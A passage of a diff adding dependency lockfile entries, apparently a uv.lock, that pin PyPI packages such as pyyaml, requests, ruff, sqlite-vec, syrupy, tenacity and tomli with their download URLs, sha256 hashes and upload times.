"2025-09-25T21:32:32.58Z" }, + { url = "https://files.pythonhosted.org/packages/97/c9/39d5b874e8b28845e4ec2202b5da735d0199dbe5b8fb85f91398814a9a46/pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c", size = 154090, upload-time = "2025-09-25T21:32:33.659Z" }, + { url = "https://files.pythonhosted.org/packages/73/e8/2bdf3ca2090f68bb3d75b44da7bbc71843b19c9f2b9cb9b0f4ab7a5a4329/pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb", size = 140246, upload-time = "2025-09-25T21:32:34.663Z" }, + { url = "https://files.pythonhosted.org/packages/9d/8c/f4bd7f6465179953d3ac9bc44ac1a8a3e6122cf8ada906b4f96c60172d43/pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac", size = 181814, upload-time = "2025-09-25T21:32:35.712Z" }, + { url = "https://files.pythonhosted.org/packages/bd/9c/4d95bb87eb2063d20db7b60faa3840c1b18025517ae857371c4dd55a6b3a/pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310", size = 173809, upload-time = "2025-09-25T21:32:36.789Z" }, + { url = "https://files.pythonhosted.org/packages/92/b5/47e807c2623074914e29dabd16cbbdd4bf5e9b2db9f8090fa64411fc5382/pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7", size = 766454, upload-time = "2025-09-25T21:32:37.966Z" }, + { url = "https://files.pythonhosted.org/packages/02/9e/e5e9b168be58564121efb3de6859c452fccde0ab093d8438905899a3a483/pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788", size = 836355, upload-time = "2025-09-25T21:32:39.178Z" }, + { url = "https://files.pythonhosted.org/packages/88/f9/16491d7ed2a919954993e48aa941b200f38040928474c9e85ea9e64222c3/pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5", size = 794175, upload-time = "2025-09-25T21:32:40.865Z" }, + { url = "https://files.pythonhosted.org/packages/dd/3f/5989debef34dc6397317802b527dbbafb2b4760878a53d4166579111411e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764", size = 755228, upload-time = "2025-09-25T21:32:42.084Z" }, + { url = "https://files.pythonhosted.org/packages/d7/ce/af88a49043cd2e265be63d083fc75b27b6ed062f5f9fd6cdc223ad62f03e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35", size = 789194, upload-time = "2025-09-25T21:32:43.362Z" }, + { url = "https://files.pythonhosted.org/packages/23/20/bb6982b26a40bb43951265ba29d4c246ef0ff59c9fdcdf0ed04e0687de4d/pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac", size = 156429, upload-time = "2025-09-25T21:32:57.844Z" }, + { url = "https://files.pythonhosted.org/packages/f4/f4/a4541072bb9422c8a883ab55255f918fa378ecf083f5b85e87fc2b4eda1b/pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3", size = 143912, upload-time = "2025-09-25T21:32:59.247Z" }, + { url = "https://files.pythonhosted.org/packages/7c/f9/07dd09ae774e4616edf6cda684ee78f97777bdd15847253637a6f052a62f/pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3", size = 189108, upload-time = "2025-09-25T21:32:44.377Z" }, + { url = "https://files.pythonhosted.org/packages/4e/78/8d08c9fb7ce09ad8c38ad533c1191cf27f7ae1effe5bb9400a46d9437fcf/pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba", size = 183641, upload-time = "2025-09-25T21:32:45.407Z" }, + { url = "https://files.pythonhosted.org/packages/7b/5b/3babb19104a46945cf816d047db2788bcaf8c94527a805610b0289a01c6b/pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c", size = 831901, upload-time = "2025-09-25T21:32:48.83Z" }, + { url = "https://files.pythonhosted.org/packages/8b/cc/dff0684d8dc44da4d22a13f35f073d558c268780ce3c6ba1b87055bb0b87/pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702", size = 861132, upload-time = "2025-09-25T21:32:50.149Z" }, + { url = "https://files.pythonhosted.org/packages/b1/5e/f77dc6b9036943e285ba76b49e118d9ea929885becb0a29ba8a7c75e29fe/pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c", size = 839261, upload-time = "2025-09-25T21:32:51.808Z" }, + { url = "https://files.pythonhosted.org/packages/ce/88/a9db1376aa2a228197c58b37302f284b5617f56a5d959fd1763fb1675ce6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065", size = 805272, upload-time = "2025-09-25T21:32:52.941Z" }, + { url = "https://files.pythonhosted.org/packages/da/92/1446574745d74df0c92e6aa4a7b0b3130706a4142b2d1a5869f2eaa423c6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65", size = 829923, upload-time = "2025-09-25T21:32:54.537Z" }, + { url = "https://files.pythonhosted.org/packages/f0/7a/1c7270340330e575b92f397352af856a8c06f230aa3e76f86b39d01b416a/pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9", size = 174062, upload-time = "2025-09-25T21:32:55.767Z" }, + { url = "https://files.pythonhosted.org/packages/f1/12/de94a39c2ef588c7e6455cfbe7343d3b2dc9d6b6b2f40c4c6565744c873d/pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b", size = 149341, upload-time = "2025-09-25T21:32:56.828Z" }, +] + +[[package]] +name = "requests" +version = "2.33.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/34/64/8860370b167a9721e8956ae116825caff829224fbca0ca6e7bf8ddef8430/requests-2.33.0.tar.gz", hash = "sha256:c7ebc5e8b0f21837386ad0e1c8fe8b829fa5f544d8df3b2253bff14ef29d7652", size = 134232, upload-time = "2026-03-25T15:10:41.586Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/56/5d/c814546c2333ceea4ba42262d8c4d55763003e767fa169adc693bd524478/requests-2.33.0-py3-none-any.whl", hash = "sha256:3324635456fa185245e24865e810cecec7b4caf933d7eb133dcde67d48cee69b", size = 65017, upload-time = "2026-03-25T15:10:40.382Z" }, +] + +[[package]] +name = "requests-toolbelt" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "requests" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f3/61/d7545dafb7ac2230c70d38d31cbfe4cc64f7144dc41f6e4e4b78ecd9f5bb/requests-toolbelt-1.0.0.tar.gz", hash = "sha256:7681a0a3d047012b5bdc0ee37d7f8f07ebe76ab08caeccfc3921ce23c88d5bc6", size = 206888, upload-time = "2023-05-01T04:11:33.229Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3f/51/d4db610ef29373b879047326cbf6fa98b6c1969d6f6dc423279de2b1be2c/requests_toolbelt-1.0.0-py2.py3-none-any.whl", hash = "sha256:cccfdd665f0a24fcf4726e690f65639d272bb0637b9b92dfd91a5568ccf6bd06", size = 54481, upload-time = "2023-05-01T04:11:28.427Z" }, +] + +[[package]] +name = "ruff" +version = "0.15.20" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/43/dc/35b341fc554ba02f217fc10da57d1a75168cfbcf75b0ef2202176d4c4f2d/ruff-0.15.20.tar.gz", hash = "sha256:1416eb04349192646b54de98f146c4f59afe37d0decfc02c3cbbf396f3a28566", size = 4755489, upload-time = "2026-06-25T17:20:37.578Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/94/d9/2d5014f0253ba541d2061d9fa7193f48e941c8b21bb88a7ff9bbe0bd0596/ruff-0.15.20-py3-none-linux_armv6l.whl", hash = "sha256:00e188c53e499c3c1637f73c91dcf2fb56d576cab76ce1be50a27c4e80e37078", size = 10839665, upload-time = "2026-06-25T17:19:44.702Z" }, + { url = "https://files.pythonhosted.org/packages/c6/d3/ac1798ba64f670698867fcfc591d50e7e421bef137db564858f619a30fcf/ruff-0.15.20-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9ebd1fd9b9c95fc0bd7b2761aebec1f030013d2e193a2901b224af68fe47251b", size = 11208649, upload-time = "2026-06-25T17:19:48.787Z" }, + { url = "https://files.pythonhosted.org/packages/47/47/d3ac899991202095dfcf3d5176be4272642be3cf981a2f1a30f72a2afb95/ruff-0.15.20-py3-none-macosx_11_0_arm64.whl", hash = "sha256:c5b16cdd67ca108185cd36dce98c576350c03b1660a751de725fb049193a0632", size = 10622638, upload-time = "2026-06-25T17:19:51.354Z" }, + { url = "https://files.pythonhosted.org/packages/33/13/4e043fe30aa94d4ff5213a9881fc296d12960f5971b234a5263fdc225312/ruff-0.15.20-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3413bb3c3d2ca6a8208f1f4809cd2dca3c6de6d0b491c0e70847672bde6e6efd", size = 10984227, upload-time = "2026-06-25T17:19:54.044Z" }, + { url = "https://files.pythonhosted.org/packages/76/e6/92e7bf40388bc5800073b96564f56264f7e48bfd1a498f5ced6ae6d5a769/ruff-0.15.20-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bd7ec42b3bb3da066488db093308a69c4ac5ee6d2af333a86ba6e2eb2e7dd44b", size = 10622882, upload-time = "2026-06-25T17:19:57.037Z" }, + { url = "https://files.pythonhosted.org/packages/13/7a/43460be3f24495a3aa46d4b16873e2c4941b3b5f0b00cf88c03b7b94b339/ruff-0.15.20-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1a36ad0eb77fba9aabfb69ede54de6f376d04ac18ebea022847046d340a8267", size = 11474808, upload-time = "2026-06-25T17:20:00.357Z" }, + { url = "https://files.pythonhosted.org/packages/27/a0/f37077884873221c6b33b4ab49eb18f9f88e54a16a25a5bca59bef46dd66/ruff-0.15.20-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b6df3b1e4610432f0386dba04d853b5f08cbbc903410c6fcc02f620f05aff53c", size = 12293094, upload-time = "2026-06-25T17:20:03.446Z" }, + { url = "https://files.pythonhosted.org/packages/a6/74/165545b60256a9704c21ac0ec4a0d07933b320812f9584836c9f4aca4292/ruff-0.15.20-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e89f198a1ea6ef0d727c1cf16088bc91a6cb0ab947dedc966715691647186eae", size = 11526176, upload-time = "2026-06-25T17:20:06.301Z" }, + { url = "https://files.pythonhosted.org/packages/86/b1/a976a136d40ade83ce743578399865f57001003a409acadc0ecbb3051082/ruff-0.15.20-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:309809086c2acb67624950a3c8133e80f32d0d3e27106c0cd60ff26657c9f24b", size = 11520767, upload-time = "2026-06-25T17:20:09.191Z" }, + { url = "https://files.pythonhosted.org/packages/19/0f/f032696cb01c9b54c0263fa393474d7758f1cdc021a01b04e3cbc2500999/ruff-0.15.20-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:2d2374caa2f2c2f9e2b7da0a50802cfb8b79f55a9b5e49379f564544fbf56487", size = 11500132, upload-time = "2026-06-25T17:20:13.602Z" }, + { url = "https://files.pythonhosted.org/packages/4b/f4/51b1a14bc69e8c224b15dab9cce8e99b425e0455d462caa2b3c9be2b6a8e/ruff-0.15.20-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a1ed17b65293e0c2f22fc387bc13198a5de94bf4429589b0ff6946b0feaf21a3", size = 10943828, upload-time = "2026-06-25T17:20:16.635Z" }, + { url = "https://files.pythonhosted.org/packages/71/4b/fe267640783cd02bf6c5cc290b1df1051be2ec294c678b5c15fe19e52343/ruff-0.15.20-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:f701305e66b38ea6c91882490eb73459796808e4c6362a1b765255e0cdcd4053", size = 10645418, upload-time = "2026-06-25T17:20:19.4Z" }, + { url = "https://files.pythonhosted.org/packages/b0/c0/a65aa4ec2f5e87a1df32dc3ec1fede434fe3dfd5cbcf3b503cafc676ab54/ruff-0.15.20-py3-none-musllinux_1_2_i686.whl", hash = "sha256:5b9c0c367ad8e5d0d5b5b8537864c469a0a0e55417aadfbeca41fa61333be9f4", size = 11211770, upload-time = "2026-06-25T17:20:22.033Z" }, + { url = "https://files.pythonhosted.org/packages/5a/a4/0caa331d954ae2723d729d351c989cb4ca8b6077d5c6c2cb6de75e98c041/ruff-0.15.20-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:01cc00dd58f0df339d0e902219dd53990ea99996a0344e5d9cc8d45d5307e460", size = 11618698, upload-time = "2026-06-25T17:20:25.259Z" }, + { url = "https://files.pythonhosted.org/packages/10/9b/5f14927848d2fd4aa891fd88d883788c5a7baba561c7874732364045708c/ruff-0.15.20-py3-none-win32.whl", hash = "sha256:ed65ef510e43a137207e0f01cfcf998aeddb1aeeda5c9d35023e910284d7cf21", size = 10857322, upload-time = "2026-06-25T17:20:28.612Z" }, + { url = "https://files.pythonhosted.org/packages/fa/f0/fe47c501f9dea92a26d788ff98bb5d92ed4cb4c88792c5c88af6b697dc8e/ruff-0.15.20-py3-none-win_amd64.whl", hash = "sha256:a525c81c70fb0380344dd1d8745d8cc1c890b7fc94a58d5a07bd8eb9557b8415", size = 11993274, upload-time = "2026-06-25T17:20:31.871Z" }, + { url = "https://files.pythonhosted.org/packages/d7/2b/9555445e1201d92b3195f45cdb153a0b68f24e0a4273f6e3d5ab46e212bb/ruff-0.15.20-py3-none-win_arm64.whl", hash = "sha256:2f5b2a6d614e8700388806a14996c40fab2c47b819ef57d790a34878858ed9ca", size = 11343498, upload-time = "2026-06-25T17:20:35.03Z" }, +] + +[[package]] +name = "sqlite-vec" +version = "0.1.9" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/68/85/9fad0045d8e7c8df3e0fa5a56c630e8e15ad6e5ca2e6106fceb666aa6638/sqlite_vec-0.1.9-py3-none-macosx_10_6_x86_64.whl", hash = "sha256:1b62a7f0a060d9475575d4e599bbf94a13d85af896bc1ce86ee80d1b5b48e5fb", size = 131171, upload-time = "2026-03-31T08:02:31.717Z" }, + { url = "https://files.pythonhosted.org/packages/a4/3d/3677e0cd2f92e5ebc43cd29fbf565b75582bff1ccfa0b8327c7508e1084f/sqlite_vec-0.1.9-py3-none-macosx_11_0_arm64.whl", hash = "sha256:1d52e30513bae4cc9778ddbf6145610434081be4c3afe57cd877893bad9f6b6c", size = 165434, upload-time = "2026-03-31T08:02:32.712Z" }, + { url = "https://files.pythonhosted.org/packages/00/d4/f2b936d3bdc38eadcbd2a87875815db36430fab0363182ba5d12cd8e0b51/sqlite_vec-0.1.9-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e921e592f24a5f9a18f590b6ddd530eb637e2d474e3b1972f9bbeb773aa3cb9", size = 160076, upload-time = "2026-03-31T08:02:33.796Z" }, + { url = "https://files.pythonhosted.org/packages/6f/ad/6afd073b0f817b3e03f9e37ad626ae341805891f23c74b5292818f49ac63/sqlite_vec-0.1.9-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux1_x86_64.whl", hash = "sha256:1515727990b49e79bcaf75fdee2ffc7d461f8b66905013231251f1c8938e7786", size = 163388, upload-time = "2026-03-31T08:02:34.888Z" }, + { url = "https://files.pythonhosted.org/packages/42/89/81b2907cda14e566b9bf215e2ad82fc9b349edf07d2010756ffdb902f328/sqlite_vec-0.1.9-py3-none-win_amd64.whl", hash = "sha256:4a28dc12fa4b53d7b1dced22da2488fade444e96b5d16fd2d698cd670675cf32", size = 292804, upload-time = "2026-03-31T08:02:36.035Z" }, +] + +[[package]] +name = "syrupy" +version = "5.3.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/81/17/95753634cd02a892cbc74d8df9c15f5ad053885a913eb11aa6061f278344/syrupy-5.3.4.tar.gz", hash = "sha256:10f192655a2d42473ad5772653e64b281f6823fe5e30458d92f8ca8e882884c1", size = 87078, upload-time = "2026-06-26T10:55:42.522Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/00/7a/254f95860cebb6d51ddb3e815ee30085e8c8a3ba6df1f44ef4605b385621/syrupy-5.3.4-py3-none-any.whl", hash = "sha256:409348aa20afc4b7dab7c965331de0cd79ab46977877fb189014ce9294e947e5", size = 53103, upload-time = "2026-06-26T10:55:41.007Z" }, +] + +[[package]] +name = "tenacity" +version = "9.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0a/d4/2b0cd0fe285e14b36db076e78c93766ff1d529d70408bd1d2a5a84f1d929/tenacity-9.1.2.tar.gz", hash = "sha256:1169d376c297e7de388d18b4481760d478b0e99a777cad3a9c86e556f4b697cb", size = 48036, upload-time = "2025-04-02T08:25:09.966Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e5/30/643397144bfbfec6f6ef821f36f33e57d35946c44a2352d3c9f0ae847619/tenacity-9.1.2-py3-none-any.whl", hash = "sha256:f77bf36710d8b73a50b2dd155c97b870017ad21afe6ab300326b0371b3b05138", size = 28248, upload-time = "2025-04-02T08:25:07.678Z" }, +] + +[[package]] +name = "tomli" +version = "2.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/30/31573e9457673ab10aa432461bee537ce6cef177667deca369efb79df071/tomli-2.4.0.tar.gz", hash = "sha256:aa89c3f6c277dd275d8e243ad24f3b5e701491a860d5121f2cdd399fbb31fc9c", size = 17477, upload-time = "2026-01-11T11:22:38.165Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3c/d9/3dc2289e1f3b32eb19b9785b6a006b28ee99acb37d1d47f78d4c10e28bf8/tomli-2.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5ef256a3fd497d4973c11bf142e9ed78b150d36f5773f1ca6088c230ffc5867", size = 153663, upload-time = "2026-01-11T11:21:45.27Z" }, + { url = "https://files.pythonhosted.org/packages/51/32/ef9f6845e6b9ca392cd3f64f9ec185cc6f09f0a2df3db08cbe8809d1d435/tomli-2.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5572e41282d5268eb09a697c89a7bee84fae66511f87533a6f88bd2f7b652da9", size = 148469, upload-time = "2026-01-11T11:21:46.873Z" }, + { url = "https://files.pythonhosted.org/packages/d6/c2/506e44cce89a8b1b1e047d64bd495c22c9f71f21e05f380f1a950dd9c217/tomli-2.4.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:551e321c6ba03b55676970b47cb1b73f14a0a4dce6a3e1a9458fd6d921d72e95", size = 236039, upload-time = "2026-01-11T11:21:48.503Z" }, + { url = "https://files.pythonhosted.org/packages/b3/40/e1b65986dbc861b7e986e8ec394598187fa8aee85b1650b01dd925ca0be8/tomli-2.4.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e3f639a7a8f10069d0e15408c0b96a2a828cfdec6fca05296ebcdcc28ca7c76", size = 243007, upload-time = "2026-01-11T11:21:49.456Z" }, + { url = "https://files.pythonhosted.org/packages/9c/6f/6e39ce66b58a5b7ae572a0f4352ff40c71e8573633deda43f6a379d56b3e/tomli-2.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1b168f2731796b045128c45982d3a4874057626da0e2ef1fdd722848b741361d", size = 240875, upload-time = "2026-01-11T11:21:50.755Z" }, + { url = "https://files.pythonhosted.org/packages/aa/ad/cb089cb190487caa80204d503c7fd0f4d443f90b95cf4ef5cf5aa0f439b0/tomli-2.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:133e93646ec4300d651839d382d63edff11d8978be23da4cc106f5a18b7d0576", size = 246271, upload-time = "2026-01-11T11:21:51.81Z" }, + { url = "https://files.pythonhosted.org/packages/0b/63/69125220e47fd7a3a27fd0de0c6398c89432fec41bc739823bcc66506af6/tomli-2.4.0-cp311-cp311-win32.whl", hash = "sha256:b6c78bdf37764092d369722d9946cb65b8767bfa4110f902a1b2542d8d173c8a", size = 96770, upload-time = "2026-01-11T11:21:52.647Z" }, + { url = "https://files.pythonhosted.org/packages/1e/0d/a22bb6c83f83386b0008425a6cd1fa1c14b5f3dd4bad05e98cf3dbbf4a64/tomli-2.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3d1654e11d724760cdb37a3d7691f0be9db5fbdaef59c9f532aabf87006dbaa", size = 107626, upload-time = "2026-01-11T11:21:53.459Z" }, + { url = "https://files.pythonhosted.org/packages/2f/6d/77be674a3485e75cacbf2ddba2b146911477bd887dda9d8c9dfb2f15e871/tomli-2.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:cae9c19ed12d4e8f3ebf46d1a75090e4c0dc16271c5bce1c833ac168f08fb614", size = 94842, upload-time = "2026-01-11T11:21:54.831Z" }, + { url = "https://files.pythonhosted.org/packages/3c/43/7389a1869f2f26dba52404e1ef13b4784b6b37dac93bac53457e3ff24ca3/tomli-2.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:920b1de295e72887bafa3ad9f7a792f811847d57ea6b1215154030cf131f16b1", size = 154894, upload-time = "2026-01-11T11:21:56.07Z" }, + { url = "https://files.pythonhosted.org/packages/e9/05/2f9bf110b5294132b2edf13fe6ca6ae456204f3d749f623307cbb7a946f2/tomli-2.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7d6d9a4aee98fac3eab4952ad1d73aee87359452d1c086b5ceb43ed02ddb16b8", size = 149053, upload-time = "2026-01-11T11:21:57.467Z" }, + { url = "https://files.pythonhosted.org/packages/e8/41/1eda3ca1abc6f6154a8db4d714a4d35c4ad90adc0bcf700657291593fbf3/tomli-2.4.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:36b9d05b51e65b254ea6c2585b59d2c4cb91c8a3d91d0ed0f17591a29aaea54a", size = 243481, upload-time = "2026-01-11T11:21:58.661Z" }, + { url = "https://files.pythonhosted.org/packages/d2/6d/02ff5ab6c8868b41e7d4b987ce2b5f6a51d3335a70aa144edd999e055a01/tomli-2.4.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1c8a885b370751837c029ef9bc014f27d80840e48bac415f3412e6593bbc18c1", size = 251720, upload-time = "2026-01-11T11:22:00.178Z" }, + { url = "https://files.pythonhosted.org/packages/7b/57/0405c59a909c45d5b6f146107c6d997825aa87568b042042f7a9c0afed34/tomli-2.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8768715ffc41f0008abe25d808c20c3d990f42b6e2e58305d5da280ae7d1fa3b", size = 247014, upload-time = "2026-01-11T11:22:01.238Z" }, + { url = "https://files.pythonhosted.org/packages/2c/0e/2e37568edd944b4165735687cbaf2fe3648129e440c26d02223672ee0630/tomli-2.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7b438885858efd5be02a9a133caf5812b8776ee0c969fea02c45e8e3f296ba51", size = 251820, upload-time = "2026-01-11T11:22:02.727Z" }, + { url = "https://files.pythonhosted.org/packages/5a/1c/ee3b707fdac82aeeb92d1a113f803cf6d0f37bdca0849cb489553e1f417a/tomli-2.4.0-cp312-cp312-win32.whl", hash = "sha256:0408e3de5ec77cc7f81960c362543cbbd91ef883e3138e81b729fc3eea5b9729", size = 97712, upload-time = "2026-01-11T11:22:03.777Z" }, + { url = "https://files.pythonhosted.org/packages/69/13/c07a9177d0b3bab7913299b9278845fc6eaaca14a02667c6be0b0a2270c8/tomli-2.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:685306e2cc7da35be4ee914fd34ab801a6acacb061b6a7abca922aaf9ad368da", size = 108296, upload-time = "2026-01-11T11:22:04.86Z" }, + { url = "https://files.pythonhosted.org/packages/18/27/e267a60bbeeee343bcc279bb9e8fbed0cbe224bc7b2a3dc2975f22809a09/tomli-2.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:5aa48d7c2356055feef06a43611fc401a07337d5b006be13a30f6c58f869e3c3", size = 94553, upload-time = "2026-01-11T11:22:05.854Z" }, + { url = "https://files.pythonhosted.org/packages/34/91/7f65f9809f2936e1f4ce6268ae1903074563603b2a2bd969ebbda802744f/tomli-2.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84d081fbc252d1b6a982e1870660e7330fb8f90f676f6e78b052ad4e64714bf0", size = 154915, upload-time = "2026-01-11T11:22:06.703Z" }, + { url = "https://files.pythonhosted.org/packages/20/aa/64dd73a5a849c2e8f216b755599c511badde80e91e9bc2271baa7b2cdbb1/tomli-2.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9a08144fa4cba33db5255f9b74f0b89888622109bd2776148f2597447f92a94e", size = 149038, upload-time = "2026-01-11T11:22:07.56Z" }, + { url = "https://files.pythonhosted.org/packages/9e/8a/6d38870bd3d52c8d1505ce054469a73f73a0fe62c0eaf5dddf61447e32fa/tomli-2.4.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c73add4bb52a206fd0c0723432db123c0c75c280cbd67174dd9d2db228ebb1b4", size = 242245, upload-time = "2026-01-11T11:22:08.344Z" }, + { url = "https://files.pythonhosted.org/packages/59/bb/8002fadefb64ab2669e5b977df3f5e444febea60e717e755b38bb7c41029/tomli-2.4.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fb2945cbe303b1419e2706e711b7113da57b7db31ee378d08712d678a34e51e", size = 250335, upload-time = "2026-01-11T11:22:09.951Z" }, + { url = "https://files.pythonhosted.org/packages/a5/3d/4cdb6f791682b2ea916af2de96121b3cb1284d7c203d97d92d6003e91c8d/tomli-2.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bbb1b10aa643d973366dc2cb1ad94f99c1726a02343d43cbc011edbfac579e7c", size = 245962, upload-time = "2026-01-11T11:22:11.27Z" }, + { url = "https://files.pythonhosted.org/packages/f2/4a/5f25789f9a460bd858ba9756ff52d0830d825b458e13f754952dd15fb7bb/tomli-2.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4cbcb367d44a1f0c2be408758b43e1ffb5308abe0ea222897d6bfc8e8281ef2f", size = 250396, upload-time = "2026-01-11T11:22:12.325Z" }, + { url = "https://files.pythonhosted.org/packages/aa/2f/b73a36fea58dfa08e8b3a268750e6853a6aac2a349241a905ebd86f3047a/tomli-2.4.0-cp313-cp313-win32.whl", hash = "sha256:7d49c66a7d5e56ac959cb6fc583aff0651094ec071ba9ad43df785abc2320d86", size = 97530, upload-time = "2026-01-11T11:22:13.865Z" }, + { url = "https://files.pythonhosted.org/packages/3b/af/ca18c134b5d75de7e8dc551c5234eaba2e8e951f6b30139599b53de9c187/tomli-2.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:3cf226acb51d8f1c394c1b310e0e0e61fecdd7adcb78d01e294ac297dd2e7f87", size = 108227, upload-time = "2026-01-11T11:22:15.224Z" }, + { url = 